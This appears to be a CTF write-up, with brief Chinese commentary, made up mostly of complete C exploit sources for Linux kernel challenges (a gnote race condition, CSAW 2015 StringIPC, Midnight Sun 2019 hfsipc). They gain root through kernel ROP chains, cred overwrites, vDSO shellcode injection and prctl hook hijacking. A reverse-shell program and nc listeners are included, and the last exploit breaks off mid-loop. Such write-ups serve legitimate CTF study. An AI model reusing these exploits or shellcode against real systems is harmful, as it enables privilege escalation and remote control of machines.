20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

struct data {
unsigned int menu;
unsigned int arg;
};

int istriggered =0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] Status has been saved!");
}
void race(void *s)
{
struct data *d=s;
while(!istriggered){
d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
puts("[*] race ...");
}
}
void shell()
{
istriggered =1;
system("/bin/sh");
}
void add_note(int fd, unsigned int size)
{
struct data d;
d.menu=1;
d.arg=size;
write(fd, (char *)&d, sizeof(struct data));
}
void select_note(int fd, unsigned int idx)
{
struct data d;
d.menu=5;
d.arg = idx;
write(fd, (char *)&d, sizeof(struct data));
}


int main()
{
char buf[0x8000];
struct data race_arg;
pthread_t pthread;
save_status();
int fd;
// Step 1 : leak kernel address
fd=open("proc/gnote", O_RDWR);
if (fd<0)
{
puts("[-] Open driver error!");
exit(-1);
}
int fds[50];
for (int i=0;i<50; i++)
fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);
for (int i=0;i<50; i++)
close(fds[i]);
add_note(fd,0x2e0); // tty_struct结构大小0x2e0
select_note(fd,0);
read(fd, buf, 512);
//for (int i=0; i< 20; i++)
// printf("%p\n", *(size_t *)(buf+i*8));
unsigned long leak, kernel_base;
leak= *(size_t *)(buf+3*8);
kernel_base = leak - 0xA35360;
printf("[+] Leak_addr= %p kernel_base= %p\n", leak , kernel_base);

unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;
unsigned long commit_creds = kernel_base + 0x69df0;
unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);
unsigned long fake_cr4 = 0x407f0;
unsigned long xchg_eax_esp_ret = kernel_base + 0x1992a; //xchg eax, esp; ret;
unsigned long pop_rdi_ret = kernel_base + 0x1c20d; //pop rdi; ret;
unsigned long pop_rsi_ret = kernel_base + 0x37799; //pop rsi; ret;
unsigned long pop_rdx_ret = kernel_base + 0xdd812; //pop rdx; ret;
unsigned long swapgs_p_ret = kernel_base + 0x3efc4; //swapgs; pop rbp; ret;
unsigned long iretq_p_ret = kernel_base + 0x1dd06; //iretq; pop rbp; ret;
unsigned long mov_rdi_rax_p_ret = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
unsigned long kpti_ret = kernel_base + 0x600a4a;

// Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
unsigned long *spray_addr= (unsigned long *)pivot_addr;
for (int i=0; i<0x1000000/8; i++)
spray_addr[i]=xchg_eax_esp_ret;
// Step 3 : 布置ROP。由于已经xchg eax,esp 而rax指向xchg地址,所以rop链地址是xchg地址低8位。
unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
int i=0;
// commit_creds(prepare_kernel_cred(0))
rop_base[i++] = pop_rdi_ret;
rop_base[i++] = 0;
rop_base[i++] = prepare_kernel_cred;
rop_base[i++] = pop_rsi_ret; // ja大于则跳转,-1是最大的数
rop_base[i++] = -1;
rop_base[i++] = mov_rdi_rax_p_ret;
rop_base[i++] = 0;
rop_base[i++] = commit_creds;
// bypass kpti
rop_base[i++] = kpti_ret;
rop_base[i++] = 0;
rop_base[i++] = 0;
rop_base[i++] = &shell;
rop_base[i++] = user_cs;
rop_base[i++] = user_rflags;
rop_base[i++] = user_sp;
rop_base[i++] = user_ss;

// Step 4 : 开始竞争
race_arg.arg = 0x10001;
pthread_create(&pthread,NULL, race, &race_arg);
for (int j=0; j< 0x10000000000; j++)
{
race_arg.menu = 1;
write(fd, (void*)&race_arg, sizeof(struct data));
}
pthread_join(pthread, NULL);
return 0;
}

/*
// modprobe_path

rop_base[i++] = pop_rdi_ret;
rop_base[i++] = modprobe_path;
rop_base[i++] = pop_rsi_ret;
rop_base[i++] = mmap_base+0x1000; // ja大于则跳转,-1是最大的数
rop_base[i++] = pop_rdx_ret;
rop_base[i++] = 0x10;
rop_base[i++] = memcpy_addr;
rop_base[i++] = kpti_ret;
rop_base[i++] = 0;
rop_base[i++] = 0;
rop_base[i++] = & something;
rop_base[i++] = user_cs;
rop_base[i++] = user_rflags;
rop_base[i++] = user_sp;
rop_base[i++] = user_ss;
*/

CSAW 2015 StringIPC

vDSO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
/*************************************************************
* File Name: exp_task_struct.c
*
* Created on: 2019-10-15 04:30:15
* Author: raycp
*
* Last Modified: 2019-10-24 01:24:34
* Description: get root shell by overwrite vdso memory with arbitrary read write vuln.
************************************************************/
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
#include<sys/types.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/auxv.h>
#include <string.h>
#include <stdbool.h>

#define DEV_NAME "/dev/csaw"

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

void die(const char* msg)
{
perror(msg);
exit(-1);

}


struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};

void arbitrary_read(int fd, int channel_id, void *read_buff, uint64_t addr, uint32_t len)
{

struct seek_channel_args seek_channel;
struct read_channel_args read_channel;

seek_channel.id = channel_id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

read_channel.id = channel_id;
read_channel.buf = (char*)read_buff;
read_channel.count = len;
ioctl(fd, CSAW_READ_CHANNEL, &read_channel);

return ;
}

void arbitrary_write(int fd, int channel_id, void* write_buff, uint64_t addr, uint32_t len)
{

struct seek_channel_args seek_channel;
struct write_channel_args write_channel;
uint32_t i;

for (i=0; i<len; i++){

seek_channel.id = channel_id;
seek_channel.index = addr-0x10+i;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

write_channel.id = channel_id;
write_channel.buf = (char*)write_buff+i;
write_channel.count = 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);
}

return;
}

uint64_t get_vdso_name_offset()
{
uint64_t sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
uint64_t name_ptr = 0;
if (sysinfo_ehdr!=0){
name_ptr = memmem(sysinfo_ehdr, 0x1000, name, strlen(name));
if(name_ptr != 0) {
return name_ptr - sysinfo_ehdr;
}
}
return name_ptr;
}

bool check_vdso_mem(void *buff, uint32_t len)
{

uint64_t sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
if(memmem(sysinfo_ehdr, 0x1000, buff, len))
return true;
else
return false;
}

int main()
{
int fd, channel_id;
struct alloc_channel_args alloc_channel;
struct shrink_channel_args shrink_channel;
uint64_t addr;
uint32_t result;
uint8_t read_buff[0x1000];
uint32_t i;

uint64_t vdso_name_offset = 0;
uint64_t vdso_addr = 0;
char func_name[] = "gettimeofday";

char shellcode[]="\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";

//step 1 achieve the ability of arbitrary read write
printf("[+] open /dev/csaw\n");
fd = open(DEV_NAME, O_RDWR);

if(fd == -1)
die("open dev error");

alloc_channel.buf_size = 0x100;
alloc_channel.id = -1;
ioctl(fd, CSAW_ALLOC_CHANNEL, &alloc_channel);

if(alloc_channel.id == -1 )
die("alloc channel error");

channel_id = alloc_channel.id;

shrink_channel.id = channel_id;
shrink_channel.size = 0x100 + 1;
ioctl(fd, CSAW_SHRINK_CHANNEL, &shrink_channel);
printf("[+] right now, have the ability of arbitrary read write\n");

//step 2 brute to get vdso addr
vdso_name_offset = get_vdso_name_offset();
if(vdso_name_offset == 0) {
die("can't find string gettimeofday in vdso");
}
printf("[+] string gettimeofday in vdso offset: %lp\n", vdso_name_offset);

printf("[+] trying to find vdso in kernel\n");

for(addr=0xffffffff80000000; addr<0xffffffffffffefff; addr+=0x1000) {
arbitrary_read(fd, channel_id, read_buff, addr, 0x1000);
result = strcmp(read_buff+vdso_name_offset, func_name);

if(result == 0) {
vdso_addr = addr;
printf("[+] vdso addr found at: %lp\n", vdso_addr);
break;
}


}

if(vdso_addr==0) {
die("[-] can't find vdso addr");
}

// step 3 inject shellcode
uint32_t gettimeofday_func_offset = 0xcb0;
uint64_t gettimeofday_func_addr = vdso_addr+gettimeofday_func_offset;
arbitrary_write(fd, channel_id, shellcode, gettimeofday_func_addr, strlen(shellcode));

//step 4 wait for root shell
if (check_vdso_mem(shellcode, strlen(shellcode))){
printf("[+] waiting root shell...\n");
system("nc -lvnp 3333");

}
else{
die("privilege escalate failed");

}
return 0;


}

cred

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
/*************************************************************
* File Name: exp_task_struct.c
*
* Created on: 2019-10-15 04:30:15
* Author: raycp
*
* Last Modified: 2019-10-23 07:06:51
* Description: privilege escalate by revise cred
************************************************************/
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
#include<sys/types.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>

#include <string.h>


#define DEV_NAME "/dev/csaw"

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

void die(const char* msg)
{
perror(msg);
exit(-1);

}


struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};

void arbitrary_read(int fd, int channel_id, void *read_buff, uint64_t addr, uint32_t len)
{

struct seek_channel_args seek_channel;
struct read_channel_args read_channel;

seek_channel.id = channel_id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

read_channel.id = channel_id;
read_channel.buf = (char*)read_buff;
read_channel.count = len;
ioctl(fd, CSAW_READ_CHANNEL, &read_channel);

return ;
}

void arbitrary_write(int fd, int channel_id, void* write_buff, uint64_t addr, uint32_t len)
{

struct seek_channel_args seek_channel;
struct write_channel_args write_channel;
uint32_t i;
for (i=0; i<len; i++){

seek_channel.id = channel_id;
seek_channel.index = addr-0x10+i;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

write_channel.id = channel_id;
write_channel.buf = (char*)(write_buff)+i;
write_channel.count = 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);
}
}

int main()
{
int fd, channel_id;
struct alloc_channel_args alloc_channel;
struct shrink_channel_args shrink_channel;
uint64_t addr;
uint8_t* find_ptr;
uint8_t read_buff[0x1000];
uint64_t cred_ptr;
uint64_t real_cred_ptr;
uint32_t i;
uint32_t root_cred[8] ={0};

// step 1 set thread name by prctl.
printf("[+] set thread name\n");
char thread_name[20] ;
strcpy(thread_name,"evilthread_name");
prctl(PR_SET_NAME, thread_name);

printf("[+] open /dev/csaw\n");
fd = open(DEV_NAME, O_RDWR);

if(fd == -1)
die("open dev error");

// step 2 create the channel which we can arbitrary read and write
alloc_channel.buf_size = 0x100;
alloc_channel.id = -1;
ioctl(fd, CSAW_ALLOC_CHANNEL, &alloc_channel);

if(alloc_channel.id == -1 )
die("alloc channel error");

channel_id = alloc_channel.id;

shrink_channel.id = channel_id;
shrink_channel.size = 0x100 + 1;
ioctl(fd, CSAW_SHRINK_CHANNEL, &shrink_channel);

printf("[+] right now, have the ability of arbitrary read write\n");

// step 3 trying to find task struct
for(addr=0xffff880000000000; addr<0xffffc80000000000; addr+=0x1000) {
arbitrary_read(fd, channel_id, read_buff, addr, 0x1000);
find_ptr = memmem(read_buff, 0x1000, thread_name, 16);

if(find_ptr) {
//printf("find:%lp %lp\n",read_buff, find_ptr);
//printf("%s\n",find_ptr);
cred_ptr = *(uint64_t*)(find_ptr-8);
real_cred_ptr = *(uint64_t*)(find_ptr-0x10);
if((cred_ptr&0xff00000000000000) && (real_cred_ptr == cred_ptr)) {
printf("[+] &(task_struct.cred) addr: %lp\n", addr+(find_ptr-read_buff));
printf("[+] cred found at: %lp\n", real_cred_ptr);
break;
}
}


}

if(find_ptr==0) {
die("[-] can't find cred");
}

//step 4 revise the cred to achieve privilege escalating
arbitrary_write(fd, channel_id, root_cred, cred_ptr, 28);
printf("[+] right now uid: %d\n",getuid());

//step 5 launch root shell to do anything.
if (getuid() == 0){
printf("[+] launch root shell...\n");
system("/bin/sh");

}
else{
die("privilege escalate failed");

}

return 0;


}

prctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
/*************************************************************
* File Name: exp_hijack_prctl.c
*
* Created on: 2019-10-15 04:30:15
* Author: raycp
*
* Last Modified: 2019-10-24 04:26:03
* Description: hijack prctl function pointer to get a root shell.
************************************************************/
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
#include<sys/types.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/auxv.h>
#include <string.h>
#include <stdbool.h>

#define DEV_NAME "/dev/csaw"

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

void die(const char* msg)
{
perror(msg);
exit(-1);

}


struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};

void arbitrary_read(int fd, int channel_id, void *read_buff, uint64_t addr, uint32_t len)
{

struct seek_channel_args seek_channel;
struct read_channel_args read_channel;

seek_channel.id = channel_id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

read_channel.id = channel_id;
read_channel.buf = (char*)read_buff;
read_channel.count = len;
ioctl(fd, CSAW_READ_CHANNEL, &read_channel);

return ;
}

void arbitrary_write(int fd, int channel_id, void* write_buff, uint64_t addr, uint32_t len)
{

struct seek_channel_args seek_channel;
struct write_channel_args write_channel;
uint32_t i;

for (i=0; i<len; i++){

seek_channel.id = channel_id;
seek_channel.index = addr-0x10+i;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

write_channel.id = channel_id;
write_channel.buf = (char*)write_buff+i;
write_channel.count = 1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);
}

return;
}

uint64_t get_vdso_name_offset()
{
uint64_t sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
uint64_t name_ptr = 0;
if (sysinfo_ehdr!=0){
name_ptr = memmem(sysinfo_ehdr, 0x1000, name, strlen(name));
if(name_ptr != 0) {
return name_ptr - sysinfo_ehdr;
}
}
return name_ptr;
}

int main()
{
int fd, channel_id;
struct alloc_channel_args alloc_channel;
struct shrink_channel_args shrink_channel;
uint64_t addr;
uint32_t result;
uint8_t read_buff[0x1000];
uint32_t i;

uint64_t vdso_name_offset = 0;
uint64_t vdso_addr = 0;
char func_name[] = "gettimeofday";

setbuf(stdout ,0);

//step 1 achieve the ability of arbitrary read and write
printf("[+] open /dev/csaw\n");
fd = open(DEV_NAME, O_RDWR);

if(fd == -1)
die("open dev error");

alloc_channel.buf_size = 0x100;
alloc_channel.id = -1;
ioctl(fd, CSAW_ALLOC_CHANNEL, &alloc_channel);

if(alloc_channel.id == -1 )
die("alloc channel error");

channel_id = alloc_channel.id;

shrink_channel.id = channel_id;
shrink_channel.size = 0x100 + 1;
ioctl(fd, CSAW_SHRINK_CHANNEL, &shrink_channel);
printf("[+] right now, have the ability of arbitrary read write\n");

//step 2 get the base address of vdso
vdso_name_offset = get_vdso_name_offset();
if(vdso_name_offset == 0) {
die("can't find string gettimeofday in vdso");
}
printf("[+] string gettimeofday in vdso offset: %lp\n", vdso_name_offset);

printf("[+] trying to find vdso in kernel\n");

for(addr=0xffffffff80000000; addr<0xffffffffffffefff; addr+=0x1000) {
arbitrary_read(fd, channel_id, read_buff, addr, 0x1000);
result = strcmp(read_buff+vdso_name_offset, func_name);

if(result == 0) {
//printf("find:%lp %lp\n",read_buff, find_ptr);
//printf("%s\n",find_ptr);
vdso_addr = addr;
printf("[+] vdso addr found at: %lp\n", vdso_addr);
break;
}


}

if(vdso_addr==0) {
die("[-] can't find vdso addr");
}

// step 3 get the base of kernel
uint64_t kernel_base = vdso_addr &0xffffffffff000000;
printf("[+] kernel base addr: %lp\n", kernel_base);

// step 4 deploy the reverse_shell comamnd to poweroff_cmd_addr
uint64_t poweroff_work_func_offset = 0x9ce60;
uint64_t poweroff_cmd_offset = 0xe4dfa0;

uint64_t poweroff_work_func_addr = kernel_base + poweroff_work_func_offset;
uint64_t poweroff_cmd_addr = kernel_base + poweroff_cmd_offset;

//char arbitrary_command[] = "/bin/chmod 777 /flag";
char arbitrary_command[] = "/reverse_shell";
arbitrary_write(fd, channel_id, arbitrary_command, poweroff_cmd_addr, strlen(arbitrary_command));

// step 5 overwrite hook.tast_prctl function pointer.
uint64_t task_prctl_offset = 0xeb8118;
uint64_t task_prctl_pointer_addr = kernel_base + task_prctl_offset;

arbitrary_write(fd, channel_id, &poweroff_work_func_addr, task_prctl_pointer_addr, 8);

// step 6 trigger hook
if( fork() == 0 ){
prctl(0 ,2, 0, 0,2);
exit(-1);
}

//printf("[+] flag is readable right now...\n");
//printf("flag: ");
//system("cat flag");

// step 7 waiting for the root shell.
printf("[+] waiting for root shell...\n");
system("nc -lvnp 7777");

return 0;
}

reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*************************************************************
* File Name: reverse_shell.c
*
* Created on: 2019-10-23 01:54:48
* Author: raycp
*
* Last Modified: 2019-10-23 05:05:08
* Description: reverse shell to localhost:7777
************************************************************/

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include <fcntl.h>
#include <unistd.h>

char server_ip[]="127.0.0.1";
uint32_t server_port=7777;

int main()
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);

//connect to the server
while(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0);

//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);

//execute /bin/sh to get a shell
system("/bin/sh");
}

Midnight sun CTF 2019 hfsipc

slub off by one

应该是与root-me上的vuln_ipc那道一模一样的题目,但是没有开启kaslr

通过溢出更改fd pointer能够实现堆块复用,做到无限次任意读写,由于没有kaslr,就更没有难度,解法有很多,但是也学到了不同的姿势。

solution 1:

搜索内核内存,更改uid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#include <fcntl.h>

#define CHANNEL_CREATE 0xABCD0001
#define CHANNEL_DELETE 0xABCD0002
#define CHANNEL_READ 0xABCD0003
#define CHANNEL_WRITE 0xABCD0004

struct channel_info {
long id;
long size;
char *buffer;
};

int ioctl(int fd, unsigned long request, unsigned long param) {
return syscall(16, fd, request, param);
}

// Create a new hfs channel
void create_channel(int fd, int id, int size) {
struct channel_info channel;

channel.id = id;
channel.size = size;

ioctl(fd, CHANNEL_CREATE, &channel);
}

// Delete hfs channel
void delete_channel(int fd, long id) {
ioctl(fd, CHANNEL_DELETE, &id);
}

// Read from hfs channel into dest
void read_channel(int fd, int id, char *dest, int size) {
struct channel_info channel;

channel.id = id;
channel.size = size;
channel.buffer = dest;

ioctl(fd, CHANNEL_READ, &channel);
}

// Write into hfs channel from src
void write_channel(int fd, int id, char *src, int size) {
struct channel_info channel;

channel.id = id;
channel.size = size;
channel.buffer = src;

ioctl(fd, CHANNEL_WRITE, &channel);
}

void read_data(int fd, long address, char *dest, long size) {
printf("[+] Read data from %p\n", address);

long pPayload[3] = { 9, address, 0xffffffffffffffff};

// Overwrite channel object 9
write_channel(fd, 4, pPayload, 0x18);

// Use channel 9 to read data
memset(dest, 0, size);
read_channel(fd, 9, dest, size);
}

void write_data(int fd, long address, char *src, long size) {
printf("[+] Write data to %p\n", address);

long pPayload[3] = { 9, address, 0xffffffffffffffff};

// Overwrite channel object 9
write_channel(fd, 4, pPayload, 0x18);

// Use channel 9 to write data
write_channel(fd, 9, src, size);
}

long read_address(int fd, long address) {
printf("[+] Read address from %p\n", address);

long result = 0;

read_data(fd, address, &result, 0x8);

return result;
}

void write_address(int fd, long address, long value) {
printf("[+] Write '%p' to '%p'\n", value, address);

long pPayload[3] = { 9, address, 0x3000};

write_channel(fd, 4, pPayload, 0x18);

write_channel(fd, 9, &value, 4);
}

int main(int argc, char *argv) {
int fd;

printf("[+] Open hfs device\n");
fd = open("/dev/hfs", O_RDWR);

printf("[+] Create initial channels\n");

char payload[0x1000];
memset(payload, 0, 0x100);

create_channel(fd, 1, 0x20);
create_channel(fd, 2, 0x20);
create_channel(fd, 3, 0x20);
create_channel(fd, 4, 0x20);
create_channel(fd, 5, 0x20);
create_channel(fd, 6, 0x20);

memset(payload, 0x41, 0x20);

printf("[+] Free channel 3\n");
delete_channel(fd, 3);

payload[0x20] = 0x40;

printf("[+] Overwrite LSB of channel 3 FD\n");
write_channel(fd, 2, payload, 0x21);

printf("[+] Recreate channel 3 (with different chunk size)\n");
create_channel(fd, 8, 0x40);

printf("[+] Create next channel (inside channel 4 data)\n");
create_channel(fd, 9, 0x40);

// Just read complete region and replace everything that could be your user id ;)
char *kernel_mem = malloc(0x800000);

read_data(fd, 0xffff880006610000, kernel_mem, 0x800000);

unsigned int* pPay = (unsigned int*)kernel_mem;

for(int i=0; i<0x800000; i+=4) {
if (*pPay++ == 1000) {
